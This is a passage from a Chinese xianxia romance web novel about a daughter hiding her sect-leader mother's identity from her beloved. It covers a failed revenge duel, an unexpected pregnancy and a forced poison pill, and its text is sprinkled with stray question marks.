“什么闭关修炼!那不过是娄青涯放出来迷惑众人的借口!” “虽然我被迫与你娘亲分离,可是我们一直都有书信来往,她隐约察觉出娄青涯不对,想要我接她离开,只可惜我还没来得?及动手?,她就没了音讯,之后就传出了闭关的消息!” 说到此?处,花醉月一把揪住娄危雪的胳膊,将人拉起来。 “我已经把当年的事?情全部告诉你,为了我们一家人团聚,之后我会?放你离开,你先?回云霄门打探清楚你娘亲的情况,到时候趁着仙门大比,你我里应外合,将你娘亲给救出来。” 娄危雪哪还有心思听花醉月说这些,心思直接被仙门大比这四个字给吸引过去了。 她唇角泄露一丝苦涩,在原书中她就是在仙门大比时被清鸿仙尊给杀死的,现在她好不容易看清内心,克服对死亡的恐惧决定和清鸿仙尊在一起,结果竟然告诉她杀死清鸿仙尊的人就是她的母亲。 如果清鸿仙尊知道后,怎么可能?还愿意和她在一起。 又或者,会?直接提着均湘杀了她? 娄危雪眼神黯淡,只觉前?路渺茫。 花醉月见?她目光落在空处,一副出神的样子,微撩起双眉。 “我与你说的话你听到了吗?” 娄危雪这才勉强将心神抽回,得?先?把眼前?的事?情给顾好。 她低沉沉应了声:“听到了,回去后我会?打听好娘亲情况的。” 闻言,花醉月这才稍稍满意了些,放开娄危雪,将面具重新?戴回脸上。 “这些年我没能?在你身边好好陪你,尽一尽母亲的责任,如今你来了合欢宗,我会?好好弥补你的,有什么需要,你大可直接和我说。” 娄危雪宁愿永远都不知道自己?的真实?身世,可没有如果。 想到来这边的原因,她挣扎着开口:“花宗主,我……” “这里就你我两人,你还叫宗主。” 花醉月淡淡瞥了娄危雪一眼,话中的意思十分明显。 娄危雪张了张口,又闭上,她握紧手?指给自己?做了好多的心理建设,这才重新?把视线挪回花醉与的身上。 “母亲。” “嗯,”花醉月神色稍霁,声音都柔和几分,“说吧,什么事?情。” 一旦开口之后,把剩下的事?情说出来就顺畅许多。 娄危雪直言:“我曾经不小心中了合欢散,这次和清鸿仙尊过来就是为了解开身上的合欢散,母亲能?否给我两份合欢散的解药。” 合欢散不似其他奇怪的毒药那般发作起来令人痛不欲生,对身体有害,但是每个月都会?发作,若是不及时纾解,有爆体的可能?,倒算是个小麻烦。 如果是旁人,可能?确实?不好拿合欢散的解药,但是现在娄危雪问的是花醉月。 合欢宗的宗主,怎么可能会弄不来合欢散的解药呢。 花醉月颔首,“可以,不过你得等等。” “合欢散解药中有一味药材有时效性,我之后就让人去圣山采药,把解药炼制好给你送过去”。 解药即将到手?,可是娄危雪根本开心不起来。 她勉强扬起嘴角,“我知道了,谢谢母亲。” “你我母女,不用?这般客气。” 之后花醉月在厅中与娄危雪又聊了一会?,问了许多娄危雪小时候的事?情,然后才放人离开。 花醉月的速度很快,傍晚时分,就让人送了两份合欢散的解药过来。 娄危雪拿到解药的第一时间去见?了沈清鸿,白团子窝在软椅上正在打坐修炼。 合欢宗到底是别人的地方,她不放心,只有快点?恢复身体,才能?应对接下来的各种事?情。 听到有人进来的声音,白团子停下修炼,扬头就看到了娄危雪。 娄危雪此?刻已经走?到了沈清鸿的身前?,她把手?伸到白团子面前?,拇指与食指间捏着颗黑色的药丸。 “清鸿仙尊,这个是合欢散的解药,你快把这个吃了,之后身上的合欢散就能?解开了。” 沈清鸿讶然,“这个解药你是从哪里拿到的?” 娄危雪沉默一瞬,如实?回答:“是我找花宗主要的。” “你要她就给?” 沈清鸿心底疑惑更甚,在娄危雪面前?的花醉月与传言中的花醉月实?在是太?过不同。 在这里住了一天,通过周围合欢宗弟子的对话,她能?感受到花醉月在她们面前?是多么可怕的存在。 据说有人曾经违背过花醉月的指令,结果被花醉月封了经脉,丢给了坐下的野兽,让那人被活生生咬死。 可是就是这样的一个人,竟然对娄危雪这般予取予求。 这属实?是有些不正常,白团子可不相信花醉月会?无缘无故地这么对娄危雪。 她盯着娄危雪两指间的药丸,目露怀疑。 “你确定她给你的真的是合欢散的解药?” 娄危雪无比地确信,这个就是合欢散的解药。 花醉月是她的亲生母亲,怎么可能?会?用?假的解药来骗她。 而且如果花醉月想让她吃下什么不好的东西,完全可以使用?武力强制让她吃下去。 娄危雪对沈清鸿解释,“是真的,她送了两份解药,属于我的那份我已经吃下去了。” 见?娄危雪如此?肯定,沈清鸿选择相信娄危雪,将解药吃了。 药丸入口即融,化为一股药液顺着喉咙滑下。 沈清鸿感受了一番,并没有任何不适,一直以来被压在丹田底,每个月就会?翻涌上来作祟的东西被解药渐渐化开,消失无痕。 这确实?是合欢散的解药,只不过对于花醉月这般轻易就把解药给了娄危雪,沈清鸿心中疑惑更甚。 “她怎么会?对你这么好?” 娄危雪抿了抿唇,想要和沈清鸿解释,可是又不知道该不该把自己?的身世告诉沈清鸿。 她勉强扯出一抹微笑,借口道:“我也不知道,可能?是觉得?我们都在合欢宗,根本不足为惧,所?以才把合欢散的解药给我们?” 这一听就不是正经答案,沈清鸿怎么可能?会?相信。 不过眼下暂时没别的解释,只能?先?把内心的疑惑按捺下去。 因为花醉月女儿身份这一便利,娄危雪让花醉月找人给沈清鸿看了伤势,又要来了许多珍贵的药材,给沈清鸿补身体。 花醉月对娄危雪舍得?得?很,但凡是娄危雪要的东西送过来的必然是顶好的。 自花醉月认下她之后,她就自由许多,只要不离开宗门,花醉月都随她折腾。 此?刻娄危雪正坐在院中一棵合欢树的躺椅下面,白团子被娄危雪放在膝盖上。 在她身边的是一个石桌,上面放着几个盘子,装的是一些灵果和洗净处理后的药材,都是可以直接入口的东西。 她随意的从里面拿出一颗灵力蕴含丰富的灵果,仔细地用?灵力进行切分后送到白团子嘴边。 沈清鸿看了眼放在唇边的东西,嗷呜一口吃下。 湿漉漉的舌尖从指尖滑过,娄危雪微微蜷缩了一下手?指,然后又分了一块果肉。 娄危雪投喂,沈清鸿吃,没多久一颗灵果就被沈清鸿吃下。 投喂完毕后,娄危雪拿出手?帕擦擦手?指,将白团子抱到怀中。 她向后仰躺在椅子上,湛蓝的天空为背景,合欢树枝叶摇晃,粉白色的合欢花一簇簇地点?缀在绿色的枝叶上,如一把把小扇子招摇生风。 娄危雪一下下地顺着白团子的毛发,突然开口:“清鸿仙尊,你的师傅是个怎么样的人?” 听到师傅,沈清鸿眼中划过一抹悲痛。 因为师傅亡故,除了师叔,已经许久没人在她面前?提过师傅了,她也很久没再与人谈论起师傅了。 或许是阳光太?温暖,或许是少女询问的语气过于认真,沈清鸿竟然真的回答起娄危雪的问题。 “自我有记忆就已经在师傅身边了,听师叔说我是在师傅云游的途中被师傅捡回去的。” 被压在脑海深处的记忆被勾出,那些快乐的、平静的、悲伤的往事?一股脑的冒了出来。 “师傅是天一宗的掌门,可偏偏生了一张娃娃脸,因为天资高修炼得?快,早早就突破金丹,容貌被定格在了少年时,看起来没有一点?掌门的威严,为此?他常年板着个脸,不苟言笑也鲜少说话。” “虽然这样,但他其实?很温柔,会?悄悄给新?入门的弟子准备入门礼物,会?在师妹师弟们闹矛盾的时候从中调解,还会?为弟子种下的花遮雨。” “师傅对我也很好,只是因为我曾看过一眼师妹们堆起来的雪人,从此?每到冬季,我房间的窗台上就会?出现一排小雪人,那些都是师傅做的。” 沈清鸿的语速很慢,往日的时光,随着她的声音如画卷般缓慢展开。 她眸中染上名为回忆的色彩,“师傅很可靠,他教我道理,教我练剑,带我除凶,似乎所?有的问题在他面前?都能?迎刃而解。” “师叔遇到解决不了的事?情也喜欢找师傅,不过他最喜欢做的事?情还是逗师傅,往往下山历练后,师叔就会?带些稀奇古怪的东西回来,骗师傅说是可以让人长高改变娃娃脸的东西,不过实?际上就是些整蛊的东西,师傅每每被师叔惹得?跳脚,但是下次依旧会?上当。” “这些都是很普通的日常,我以为师傅会?始终守着天一宗,直到那一天。” 画卷展至末尾,染上血色。 沈清鸿永远记得?那一天,天空阴沉着,自从师傅离开后她就始终心神不安,直到有弟子传长老的命令把她叫到掌门大厅,告诉她和师叔,师傅的令牌碎了。 她不愿相信,跟着师叔一起去找师傅,可是找到的只有一具冰冷的尸体。 雨下得?很大,她的师傅静静地躺在雨中,双眸紧闭面色苍白,血水染红他的衣服,又被雨水冲刷,在地下汇聚出一处小血泊。 她记得?师傅身上残留功法的痕迹,那是合欢宗掌门才能?使用?的心法,是花醉月杀了她的师傅。 沈清鸿眸中爬上一抹血丝,杀意肆虐。 “我绝对不会?放过花醉月,只要有机会?,我就会?杀了她为师傅报仇!” 娄危雪抚摸白团子毛发的手?微微停顿,苦涩在心底蔓延。 那是沈清鸿的师傅,收养了沈清鸿把沈清鸿养大的人,她凭什么会?觉得?沈清鸿在得?知她的真实?身份后还会?和她在一起。 咬了咬唇,娄危雪终究没把花醉月与她的事?告诉沈清鸿。 风渐渐大了,吹得?人有些冷,娄危雪抱起白团子回到屋中。 恰巧有合欢宗的弟子过来,见?到那人端着的盘子,娄危雪微微一愣。 “这是?” 合欢宗弟子闻言微微一笑,“这是用?冰蚕吐出的丝做成?的内衬,可以挡住化神后期的全力一击,宗主让我们送过来给小道长防身。” 衣服能?挡住化神期的一击,就代表可以挡住许多低于化神的攻击,对于娄危雪这个金丹期的修士来说,这件衣服的作用?不可谓不大。 “那就放着吧。” 娄危雪心情正低落,未把这东西当回事?,只抬手?随意地指了指屋内的一处地方。 合欢宗弟子见?状把东西放过去,然后便离开了。 这天下到达化神境的人并不多,这衣服可以说是不可多得?的宝贝,花醉月竟然就这么送给了娄危雪,可偏偏娄危雪还一副不以为意的模样。 沈清鸿的眼神落在娄危雪面上,仔细地圈巡了好几圈。 娄危雪被盯得?终于回过神,奇怪地回望过去。 “怎么了?” 沈清鸿定定地看着娄危雪,“这么珍贵的东西,花醉月说送就送了,你是不是有什么事?情瞒着我?” 娄危雪面色一僵,不自在地垂下眼。 在没想出来解决的办法之前?,她绝对不能?让沈清鸿知道她与花醉月的关系。 不能?说! 她蜷缩起手?指,攥紧了手?心。 “没有。” 白团子的视线落在娄危雪手?上,这般不自然的态度,叫她如何相信。 “娄危雪!你到底瞒了我什么!” 她的嗓音不复平静,染上几分怒意。 娄危雪躲避着沈清鸿的视线,借口道:“清鸿仙尊,你不要多想,花宗主可能?就是看我比较顺眼,所?以才叫人送了东西过来。” 这般儿戏的原因,沈清鸿自然不信。 只不过不论她怎么问,娄危雪都咬死没事?情隐瞒,就是不说。 白团子周遭寒意凛冽,眼神冷得?简直能?冻死人。 娄危雪咬紧牙关,硬生生扛住了沈清鸿身上传来的威压。 见?娄危雪不说,白团子冷哼一声,转头从待了好几天的房间离开。 为此?,沈清鸿和娄危雪闹了好几天的脾气,对娄危雪爱搭不理的。 原本娄危雪就因为自己?身份的事?情不知道怎么面对沈清鸿,索性放任沈清鸿与她拉开距离。 直到这一天,花醉月闲来无事?,过来找娄危雪。 扫了一圈,就只见?到娄危雪一人,想到这段时间娄危雪找她要的东西,花醉月询问道:“怎么不见?你的灵宠?我听说你很宝贝它,给它喂了许多药材,为它滋养身体。” “它在自己?房间。” “走?,带我去见?见?。” 想起沈清鸿在圣山时一见?到花醉月就冲上去的样子,娄危雪眉心微蹙。 她拒绝,“还是别去了。” 花醉月微微挑眉,“这么宝贝,难道还怕我抢你的东西?” “当然不是。” 她只是怕沈清鸿见?到花醉月会?受刺激,再次攻击上去。 花醉月不知其中的内情,娄危雪越是不让她去,她就越想去。 “好了,跟我过去,或者我自己?一个人过去。” 这是合欢宗的地界,花醉月相见?谁简直易如反掌。 娄危雪怎么可能?会?放心让花醉月独自与沈清鸿见?面,无奈只能?答应。 两人来到一开始关押沈清鸿的房间,白团子就趴在屋中的软椅上,望着窗外,不知道在想些什么。 听到推门的动静,沈清鸿看向门口,见?到花醉月的瞬间,身上的毛直接炸开,眼底有血色蔓延。 就是这个人杀了她的师傅!她永远不会?忘记找到师傅时的那一幕! 娄危雪看沈清鸿那般,手?里捏了把汗,生怕沈清鸿在这个时候暴露,和花醉月打起来。 她向前?走?了一步,挡住了花醉月看白团子的视线。 “花宗主,现在你已经看过了,我们是不是可以离开了。” 之前?在圣山的时候没注意,白团子被抓回来的时候花醉月也没关心过,今天倒是花醉月头一次正儿八经地打量白团子。 作为合欢宗宗主,关于圣山的记载她可谓十分清楚,这一打量才发现,白团子似乎不是普通的灵兽,而是白泽? 正想细看,视线就被娄危雪挡住。 “怎这般的小气?” 花醉月皱起眉来,拨开娄危雪,朝着白团子步步靠近。 沈清鸿绷着身体,看着杀师仇人距离自己?越来越近。 她脑中思绪千回百转,花醉月是大乘期的强者,又是合欢宗的宗主,一般都在合欢宗里,被合欢宗的弟子保护起来,很难接近,而眼下正是她距离花醉月最近的一次! 这是为师傅报仇的好机会?,如果错过这次,下次不知道要等到什么时候。 “这个白泽看上去还是幼年体,你是从哪找到它的?” 花醉月说着,弯下腰去摸白团子。 沈清鸿屏住呼吸,同时已经调转起了内丹中的灵力,她看着花醉月的脖颈离自己?越来越近。 就是此?刻! 爪风扫出袭向花醉月的脖颈,近了,一道血线渗出。 关键时刻,花醉月转身向后,爪风落空。 目的已经暴露,一击不成?,沈清鸿立刻幻化身形,白袍仙尊出现在屋中,均湘剑被她召出,趁着花醉月闪躲的时刻,一剑刺去。 这次花醉月的反应很快,抬脚踢向沈清鸿的手?腕,原本向前?刺去的招式改为横向扫出,刚好躲过花醉月踢过来的脚。 两人当着娄危雪的面迅速地缠斗在一起,从室内转为室外。 这般的打斗根本就不是娄危雪能?够参与进来的,她站在旁边看着两人干着急。 娄危雪想让两人停下,但是打斗中的两人根本就听不进去她的话。 她几次想冲进去,但是都被两人给逼退了回来。 沈清鸿虽然在这些天被娄危雪养得?很好,伤势基本恢复,但是根本就不是花醉月的对手?,被打得?节节败退,原本愈合的伤口上面再添新?伤。 反观花醉月也受了伤,不过都是些无伤大雅的小伤。 随着花醉月的一计掌风,沈清鸿被击飞,竟然直接晕了过去。 花醉月飞身而上,想要给这个敢对她动手?的人最后一击。 “住手?!” 娄危雪挡在沈清鸿面前?,迎上花醉月的视线,“不要伤害她。” 花醉月身上被沈清鸿划破的伤口还在流血,她被气笑了。 “你身后的那个人可是要我的命,你竟这般护着她?” 娄危雪抿了抿唇没有答话,她的眼睛一刻都不敢从花醉月身上移开,生怕她对沈清鸿动手?。 花醉月彻底沉下脸,低喝一声:“让开!” 大乘期的威压眨眼间被释放,娄危雪只觉得?有一座巨山压在她的肩头,想要将她彻底压下。 她咬牙用?尽力气抵抗着,额上冷汗遍布。 见?此?花醉月再次施力,娄危雪闷哼一声,膝盖软下,但是被她用?剑硬生生撑住了。 漆黑的眼睛射出灼烈目光,她满面坚毅。 “她是我的未婚妻子,我不让。” 花醉月皱眉,暂时把威压收了回来,娄危雪只觉全身一轻,大口地喘息着,不过目光依旧盯着花醉月,不敢有丝毫懈怠。 她听到花醉月的询问:“这位白泽化形的人是沈清鸿?” “对,是沈清鸿,也是我的婚约对象,之后我会?与她成?婚。” 看着娄危雪这护人的模样,花醉月眼睛微?*?眯。 “你喜欢她。” “是。” “非她不可?” “非她不可。” 娄危雪迎着花醉月的眼神,一片坦荡。 她就是喜欢沈清鸿,除了沈清鸿她谁也不要。 两人静静对峙,花醉月站在原地,她能?看到娄危雪紧绷的双手?,也能?看出娄危雪坚定眼神下隐藏的戒备与害怕。 这人是她的孩子,可是现在却防备着她,怕她。 花醉月胸口有一瞬间的沉痛,她把这孩子送去云霄门,让她在娄青涯那个伪君子的看管下过了那么久,是她亏待了这孩子。 如今与这孩子刚刚相认,正是修复关系的时候,绝对不能?让她因为这点?小事?防备自己?! 索性不过是个可以随手?弄死的人,不足为惧,既然喜欢,那便让她留着吧。 “这次我可以放过她,可若是再有下次,那就不好说了,你明白了吗?” 这就是妥协的意思,娄危雪松了口气,只觉得?浑身都是软的。 “我知道了,我会?好好劝说清鸿仙尊的。” 娄危雪虽然拦在沈清鸿的面前?想让花醉月看在她这个女儿的面子上放沈清鸿一马,但其实?心里并没有底气。 毕竟她这具身体十几年都在云霄门,与花醉月可没养出什么感情。 为此?她甚至已经做好了和沈清鸿一起死在这里的觉悟,不过还好花醉月退让了。 没了死亡的危险,娄危雪连忙把倒在地上昏迷的沈清鸿拦腰抱起,送回屋中放到软床上,又寻了合欢宗弟子,让她找李寄春过来给沈清鸿看伤。 李寄春刚一露面,娄危雪冲过去一把将人给拽到床前?。 “寄春,你快看看清鸿仙尊怎么样了?” 李寄春二话不说,查探起沈清鸿的情况,不知道是查探到了什么,她眉头一皱。 娄危雪的心瞬间提了起来,“你怎么皱眉了?可是伤得?很重?” 见?被误会?,李寄春连忙摇头解释,“清鸿仙尊的身体没有大碍,只是有些虚弱,需要好好休养,不过……” 说到这里李寄春面露怪异,顿了顿继续说了下去。 “她有孕了,已经近两个月。” 40-50 第41章 什么?怀孕? 娄危雪不可置信的睁大眼睛,“寄春,你确定没有诊错?” 根据她的了解这个世界的女子如果想要怀孕,需要提前吃下生子丹才能受孕,可是她根本?就?没给沈清鸿吃过! “没有诊错,清鸿仙尊已经怀孕了一个多月了。” 一开始李寄春同样以?为自己是错诊了,之后她又探查了一遍。 由医入道这么多年,还两次探查,她绝对不可能诊错。 “清鸿仙尊的身体?比较虚弱,胎象不稳,之后还需要好生照顾。” 在又交代叮嘱娄危雪几句之后,花醉月让人把李寄春带了下去。 娄危雪还没从巨大的冲击中回过神,见她如此,花醉月眉头微皱。 “怎么这么惊讶,你不知道沈清鸿怀孕?” “还是说,那孩子不是你的?” 说到这里的时?候花醉月的声?音已经隐隐带上了杀意,只要娄危雪否认,她就?会立刻把沈清鸿杀死。 既然?跟了她女儿,那便?要有所觉悟,怎么可以?怀别人的孩子。 看着?那嗜血的眼神,娄危雪一口认下。 “是我的!” 这段时?间她始终和沈清鸿在一起,沈清鸿腹中的孩子只有可能是她的。 至于为什么会怀孕,娄危雪猜测可能与沈清鸿是白泽有关系。 毕竟是神兽,总会有与普通人不一样的地方。 花醉月狐疑的看了眼娄危雪,“当真是你的?” “对,她和我从未分开,孩子肯定是我的。” 娄危雪点头,肯定的不能再肯定了。 以?清鸿仙尊得性格,也?不会让别人随便?碰她的。 一想到沈清鸿有了和她的孩子,娄危雪心头一阵甜蜜激动,可是当她看着?眼前站着?的人时?候,心情陡然?转变。 她和沈清鸿中间还横亘着?一个花醉月,那是杀师之仇。 原本?高?亢的情绪低落下去,花醉月倒是心情不错。 她拍拍娄危雪的肩膀,言语间颇为得意。 “不愧是我的女儿,竟能让沈清鸿甘心为怀孕。” “看在你这么喜欢她的份上,我不杀她,不如废去她的修为,把她囚在这里做你的爱宠,你意下如何??” 虽然?沈清鸿的境界比她低,但是没有修为的废人对她来说更安全。 娄危雪大惊,忙道:“不可。” “为何?不可?” 娄危雪不答反问:“难道母亲会这样对娘亲吗?” 花醉月皱起双眉,“她怎可与你的娘亲相做比较?” “如何?不能?娘亲是母亲喜欢的人,所以?母亲不会那般对她,可是沈清鸿同样也?是我爱的人。” 在合欢宗这么久,很少有人敢反驳花醉月的话,最近她为了娄危雪已经妥协好几次了,可娄危雪竟然?还胳膊肘往外拐。 花醉月沉下脸,不悦的气息毫不掩饰的扩散着?。 “认清楚你的身份,沈清鸿要杀我,我不杀她已是仁慈,废掉她的修为对你对我,都是好事?,你莫要得寸进尺” 娄危雪身子一僵,这是哪门子的好事?。 如果真答应了花醉月,她与清鸿仙尊的关系可就?要彻底凉了! 看花醉月那样子,担心继续反驳会触怒花醉月,绕开她直接对沈清鸿下手,娄危雪寻了个借口。 “此事?不能操之过急,清鸿仙尊身体?虚弱,而且性子高?傲,如果这个时?候对她动手,她很可能会做出偏激的事?情,甚至很大概率会危及腹中孩子。” 花醉月不悦,“那又如何??这世上不止她一个女子,依你的身份,愿意给你生孩子的人多的是。” 娄危雪下意识反驳,“可是我喜欢的人叫沈清鸿。” “你是不是把她看的太重要了。” 花醉月眉头皱的更紧了,她盯着?床上昏迷着?的人,面上的金属面具散发着?冰冷的光泽。 娄危雪瞧不出她的神色,脑中疯狂运转。 她得想个办法打?消花醉月的念头才行,此外还得赶紧离开。 仇人天天在面前晃悠,只要在这里一天,清鸿仙尊必然?会时?刻想着?对花醉月动手。 若是得手便?算了,若是失手,她下次不一定还能把人保下来。 沉思一瞬,娄危雪试探道:“当初我从云霄门出来,说的是下山历练,现?在已过许久,若是一直不回去娄宗主可能会派人来找我。” 花醉月猛然?看向娄危雪,周身的气息更冷了。 “你在威胁我?” “不不不,母亲你误会了。”娄危雪哪有胆子威胁花醉月,她连忙解释,“我的意思是娄宗主如果发现我被抓来合欢宗,说不定会多想,可母亲你不是还要我回云霄门探查关于娘亲的事情吗?不如在娄宗主没找来之前,放我们离开?” 她一边说着?,一边观察着?花醉月的反应,见花醉月并未言语,继续说了下去。 “清鸿仙尊是我的未婚伴侣,她又修为高?深,和我一起回去,说不定可以帮助我探查清楚关于娘亲的事?情。” 听此花醉月才面色稍霁,娄危雪的修为并不算高?,如果有沈清鸿的帮助,那救出文君的可能就多了许多。 既这样,那倒不如先留着?沈清鸿的修为。 “可以?,那等救出你母亲之后我们再商量沈清鸿的事情。” 娄危雪松了口气,眼下这关算是暂时?过去了。 在她松懈的这一瞬,花醉月走到沈清鸿身边,从随身空间中取出一颗药,在娄危雪没反应过来的时?候,迅速给沈清鸿喂了下去。 娄危雪刚放下去的心立刻提了起来,“母亲,你给清鸿仙尊吃了什么!” “散灵丸,需要一年解一次,否则便?会修为尽丧。” 越往上,修为境界越难突破,但是沈清鸿天赋颇高?,又修的无?情道,谁知道什么时?候一个不注意就?比她境界高?了。 她可以?放人离开,但也?不能什么准备都没有。 娄危雪焦急不已,却没有办法。 她如今保下沈清鸿的命已是难得,如果再得寸进尺步步紧逼,还不知道花醉月会做出什么事?情。 眼下还是得先脱身,至于解药,只能以?后再想办法了。 未免夜长梦多,娄危雪甚至没有等沈清鸿清醒就?带着?人离开了,同行的还有李寄春与玲溪二人。 等沈清鸿再次睁眼时?入目的是马车的木质车顶,她满脸茫然?尚且没反应过来是什么情况,娄危雪的声?音已经在她耳边响起。 “清鸿仙尊你醒啦,有没有哪里不舒服?” 沈清鸿并未答话,她坐起身来。 马车内的空间很宽敞,在她前方的是一个矮桌,侧边是车窗,不过此刻正关着?,车壁上的琉璃灯静静地散发着?光亮。 她明明之前还在和花醉月对打?,怎么睁眼后出现?在了这里。 沈清鸿看向娄危雪,“我晕倒后发生了什么?现?在是要去哪?” “我们已经从合欢宗离开了,现?在是在回云霄门的路上。” 沈清鸿怔愣一瞬,她要的是花醉月的命,花醉月竟然?没趁她昏迷的时?候对她动手? 沈清鸿满面狐疑,“花醉月就?这么放我们走了?” 娄危雪略去自己身份的那一段,把能说的事?讲给沈清鸿听。 “花宗主怀疑我娘亲被我爹囚禁了,要我回去打?听我娘的情况,想办法配合她把我娘亲救出,带回合欢宗。” “而且她给我们喂了散灵丸,如果不答应她的要求,她就?不给我们解药。” 沈清鸿眉头微皱,这么多年过去,花醉月心心念念的依旧是云文君,两人感情只深不浅。 师傅又是在去云霄门的路上出事?的,这么看来师傅的死及有可能是花醉月与云文君一起合谋的。 她下意识的看了娄危雪一眼,在她面前的很有可能就?是杀死仇人的女儿,她该生气,该与娄危雪拉开距离的才对。 娄危雪对于沈清鸿的猜测丝毫不知,听人久久没有说话,还以?为是在生气。 她垂着?头,一副苦恼又懊丧的模样,失去了往日的活力。 一切的开始都是因为合欢散,这一路走来清鸿仙尊多次受伤,若不是她连累了人,清鸿仙尊又怎会受制于人。 “清鸿仙尊,你骂我吧,如果不是我害你中了合欢散,你也?不会遇到这种事?情。” 少女神色黯然?,眉眼低垂,脸上是浓浓的自责。 正在走神的沈清鸿回过神来,面对着?这样一个人,生不出一点不好的想法。 “这不是你的错。” 她下意识的在心中替娄危雪开脱,当初花醉月对师傅下手的时?候,娄危雪还是个孩子,并不知道自己娘亲和花醉月的事?情,是无?辜的。 沈清鸿开口,正准备让娄危雪不要多想,身下马车突然?传来一阵晃动。 车内的人赶忙扶住车壁,稳定身形。 马车很快就?稳定下来,坐在车门附近的李寄春拉开车帘。 “怎么了,出什么事?情了?” 在前方的是两头模样似马的灵兽,背生双翼,拉着?马车飞在空中。 玲溪就?坐在车外驾车,听到李寄春的询问,歉意朝她笑了笑。 “刚刚遇到了迁徙的鸟群我没注意,现?在已经绕开了。” 用飞马在空中行驶的时?候,偶尔会出现?这种情况,这本?不是什么大事?,可里面坐着?的那位怀着?孕。 李寄春提醒:“小心一点,清鸿仙尊现?在不是一个人了。” “我知道了。” 车帘被重新放下,马车内,沈清鸿微微一愣,不是一个人是什么意思? 不等她反应过来,娄危雪吞吞吐吐的开口了。 “那个,清鸿仙尊,其实我……” “我有件事?没和你说,你知道后千万不要太激动,不然?对身体?不好。” “什么事??” 娄危雪看向沈清鸿的腹部,有些不好意思,又有些紧张。 “你怀孕了。” 沈清鸿愕然?,好一会儿才回过神。 她第一反应并不相信,“我怎么可能会怀孕?” “是真的,还是季春在给你看伤的时?候发现?的。” 沈清鸿依旧不敢相信,她没吃生子丹怀的哪门子的孕。 她蹙着?眉头,“娄危雪,这个玩笑可不好笑。” “我没开玩笑,我说的都是真话。” 边上李寄春帮娄危雪说话,“清鸿仙尊,危雪她没有骗你,你真的怀孕了,而且已经快一个月了,若是不信,回去之后你大可找其她医修查探。” 话已经说到这个份上,沈清鸿没办法在自欺欺人,她应该真的怀孕了。 她把手放在腹部,手下平稳,感觉与往日并无?不同。 但娄危雪与李寄春的话,明明白白的昭示着?这里多了个小生命。 娄危雪是云文君的女儿,而她现?在,怀了杀死仇人女儿的女儿。 可是孩子是无?辜的,与娄危雪一样,她们什么都不知道。 沈清鸿垂下眸,内心挣扎,最终还是为师傅报仇的想法暂时?占据上风。 一旦孩子发育起来,她的功力会跟着?受影响,直到孩子出世这种影响才会消失。 如今她就?要与娄危雪一起回云霄门,云文君又在云霄门中,这意味着?之后需要用到修为的地方很多。 她不能让自己处于弱势,她还得为师傅报仇。 这个孩子来的不是时?候。 沈清鸿抬起眼眸,已经有了决断。 “这个孩子不能留。” 娄危雪微微一愣,反应过来沈清鸿的意思后,脸上是掩饰不住的失落。 她想劝沈清鸿,但想到两人之间横亘的仇恨,劝解的话到嘴边转了个弯。 “好,我知道了,那就?不留。” 娄危雪心口发痛,她是真心实意的喜欢沈清鸿,也?为这个孩子的到来而高?兴。 可她是花醉月的女儿,这一身份,为这件事?笼上阴影。 她没资格劝沈清鸿留下孩子。 车内无?言,李寄春更是大气都不敢出。 沈清鸿沉下脸,周遭围绕着?一股寒凉的气息。 这是她们的孩子,她不要孩子是为了师傅考虑,可是娄危雪竟然?这么轻易就?答应了! 这个人的心里到底有没有她! “你就?这么同意了?” “对。” 娄危雪沉痛于要流掉孩子的悲伤中,没有回过神,并未察觉到沈清鸿语气的不对。 顾虑着?沈清鸿的身体?,她不建议沈清鸿那么快就?流掉孩子。 “清鸿仙尊,你现?在身体?还未恢复,如果此刻流掉孩子,很可能会有危险,不如养一段时?间,在考虑流掉孩子的事?情。” 沈清鸿听后愈发生气,但是不要孩子是她提出来的,她不好反驳什么。 一团气堵在胸口,沈清鸿索性闭上双眼,眼不见为净。 见她这样,娄危雪担忧起来,“清鸿仙尊你怎么了?是不是哪里不舒服了?” 没得到清净的沈清鸿着?在眼前晃悠的人,额角青筋直跳。 “滚!” 突然?被吼的娄危雪有些摸不着?头脑,委屈巴巴的看着?沈清鸿,只觉得怀了孕的清鸿仙尊阴晴不定。 “怎么了嘛。” 沈清鸿面有愠色,不再理会娄危雪。 车内的气氛十?分压抑,李寄春努力缩小着?自己的存在感。 娄危雪对此毫无?所觉,根本?不管沈清鸿周遭散发的冷气,时?不时?的就?要凑上去问上几句。 “清鸿仙尊你渴不渴,要不要喝点水?” “你这么坐着?会不会不舒服,要不要枕在我的腿上?” “你伤口疼不疼啊?” 娄危雪像是个活泼的雀儿,叽叽喳喳的关切着?。 沈清鸿一言不发,对娄危雪不理不睬,娄危雪毫不介意。 玲溪在外驾车,对车内发生的事?情一概不知。 马车的行驶速度很快,原本?走上许久的路程,在马车的作用下缩短许多。 在经过乔宅上方时?玲溪停止了驾车,往日建造着?恢宏宅邸的地方已经是荒草一片。 她把马车缓缓降落,打?开车门。 李寄春在这里下了车,她的宗门与云霄门不在同一方向,同行路只到这里。 “危雪我得走了,关于散灵丸的事?情你不必太担心,我会帮你想办法的。” “季春,谢谢你。” 娄危雪没有忘记李寄春是为什么去的合欢宗,如今要分别,她一股脑的把从花醉月那讨得的珍惜药材都塞给了李寄春。 “这些是圣山上的灵植,是我向花宗主要的,希望对你能够有帮助。” 合欢宗占据灵山,为此得了不少好东西,里面的许多药材李寄春只在记载中见到过,可谓是有价无?市。 把这些拿出去卖能得不少灵石,还可以?换来更多有益修为的东西,但现?在娄危雪把这些都给了她。 能交到这么一个朋友,是她的幸运。 “危雪,多谢。” 李寄春未与娄危雪推辞,眼下不是客气的时?候,宗门收留了一批活死人,或许正在等着?其中的某味药材。 她会好好运用娄危雪给的药材,绝对不会让它们白费。 娄危雪朝李寄春笑笑,“路上小心。” “你也?是。” 两人就?此分别。 娄危雪回到车上,玲溪重新驾马启程,未行太久,一道金光从打?开的车窗处钻入马车。 沈清鸿抬手捏住这道符咒,是师叔的传讯符,让她回宗门一趟。 撩开车帘,沈清鸿朝玲溪道:“停车。” 玲溪不明所以?,但还是按照要求降下马车,停下。 马车一落地,沈清鸿钻出车门,娄危雪见状忙跟上。 “清鸿仙尊你要去哪?” “我要回天一宗。” 原本?沈清鸿是打?算在云霄门留到仙门大比结束,不过看样子,计划要提前了。 “我和你一起。” 清鸿仙尊怀着?孕又受着?伤,她不放心仙尊一个人回去。 “不必。”沈清鸿冷言拒绝。 “不行,我一定要去。” 娄危雪坚持,目光定定的看着?沈清鸿。 见她这般,沈清鸿眉头皱起,说不要孩子的时?候,怎么没见她这么坚持。 她冷哼一声?,“你并不是天一宗的人,跟来干什么。” 